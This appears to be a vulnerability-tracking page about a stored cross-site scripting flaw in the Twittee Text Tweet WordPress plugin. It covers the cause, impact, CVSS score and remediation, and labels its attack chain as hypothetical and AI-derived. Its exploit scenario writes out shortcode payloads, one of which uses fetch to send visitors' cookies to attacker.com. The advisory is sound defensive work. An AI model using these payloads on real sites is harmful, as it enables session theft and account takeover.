Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain contributor credentials or compromise account
-
DeliveryInject payload in shortcode attribute
-
ExploitSave post/page with malicious shortcode
-
ExecutionSite visitor accesses page
-
PersistJavaScript executes in visitor context
-
ImpactAttacker steals session/performs unauthorized actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must possess WordPress Contributor-level access or higher (PR:L in CVSS vector). This means either a user account with Contributor role or someone who has compromised such an account. The vulnerability only executes when the affected shortcode is placed in post or page content and that content is viewed. Sites with restricted contributor permissions or those that require strict approval workflows before content publication have reduced exploitation risk, but sites with open contributor registration or community members are at higher risk. The default WordPress configuration allows Contributors to edit their own posts and drafts without approval; if those posts are published, the XSS becomes active. No special plugin configuration, enabling/disabling of features, or non-default settings are required - the vulnerability is present in default plugin installation. |
| Impact | The CVSS score of 6.4 (Medium) with network vector, low complexity, and required low privileges reflects a real but somewhat limited threat. The severity is constrained by the PR:L (Contributor-level access required) requirement, which means attackers must already have a WordPress account or compromise one. However, multiple exploitation signals elevate practical risk: the vulnerability is stored (persists in database), affects all page visitors after injection, and exploits a common WordPress pattern (shortcode misuse). The S:C (Scope Changed) component indicates the attacker can affect confidentiality and integrity of other users' sessions. The UI:N (no user interaction required) is significant - once injected, the XSS executes automatically. The combination of low barrier to entry (Contributor access is common on multisite/community WordPress installations), multiple vulnerable parameters, and the straightforward nature of the exploit makes this a genuine priority for WordPress administrators, particularly on sites with many contributors or open registration. The lack of technical complexity (AC:L) means this is easily exploitable once access is obtained. |
| Exploit ScenarioDerived | A malicious contributor creates or edits a post containing the shortcode [twittee id='" onload="alert(document.cookie)" data-']' or injects JavaScript into the tweet parameter like [twittee tweet='<script>fetch("https://attacker.com?stolen=" + document.cookie)</script>']. When any site visitor, including site administrators, accesses the post, the injected JavaScript executes in their browser context, allowing the attacker to steal session cookies, perform actions as that user, or redirect to phishing sites. Because the vulnerability is stored in the database, the attack persists indefinitely until manually removed. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 22, 2026
Stored cross-site scripting in Twittee Text Tweet WordPress plugin versions up to 1.0.8 allows authenticated users with Contributor-level access to inject arbitrary JavaScript via unsanitized shortcode attributes. The ttt_twittee_tweeter() function uses extract() to process shortcode parameters and concatenates them directly into HTML and inline JavaScript contexts without escaping, enabling attackers to break out of attribute contexts and inject event handlers that execute against site visitors. The vulnerability affects the 'id', 'tweet', 'content', 'balloon', and 'theme' parameters.
RemediationAI
The primary remediation is to update the Twittee Text Tweet plugin to a patched version if one is available from the plugin developer. If no patch has been released, administrators should immediately disable and remove the plugin from production environments until a security update is provided. As a compensating control, administrators can restrict the capability to use shortcodes to Administrators only (not Contributors) via code-level capability filtering or by using a capability management plugin, though this reduces functionality for legitimate contributors. WordPress administrators should also audit all pages and posts using [twittee] shortcodes to verify no malicious injections exist in the plugin's post meta. To prevent similar issues, enable security plugins that filter shortcode attributes or use a Web Application Firewall (WAF) to block requests containing JavaScript payloads in shortcode parameters. However, these controls are less effective than a patch and should only be interim measures.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from unsafe handling of WordPress shortcode attributes in the ttt_twittee_tweeter() function. The plugin uses PHP's extract() function to convert the $atts array into local variables, then concatenates these directly into HTML markup and inline JavaScript without applying WordPress escaping functions like esc_attr() or wp_json_encode(). The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) occurs because user-supplied shortcode attributes are placed directly into both HTML attribute contexts (id parameter) and JavaScript contexts (tweet, content, balloon, theme parameters) without sanitization or output encoding. This is particularly dangerous for stored XSS because shortcode content is persisted in the WordPress database and executes against every user who views the affected page.
Know when Twittee Text Tweet gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Twittee Text Tweet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute in all versions up to and including 1.0.8. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The ttt_twittee_tweeter() function uses extract() to pull shortcode attributes into local variables and then directly concatenates them into HTML output without any escaping. Specifically, the $id parameter is inserted into an HTML id attribute context without esc_attr(), allowing an attacker to break out of the attribute and inject arbitrary HTML event handlers. Additionally, the $tweet, $content, $balloon, and $theme attributes are similarly injected into inline JavaScript without escaping (lines 87, 93, 101, 117). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-24654
NVD
CVE.org
EPSS
Vulnrichment
GitHub PoC
Exploit-DB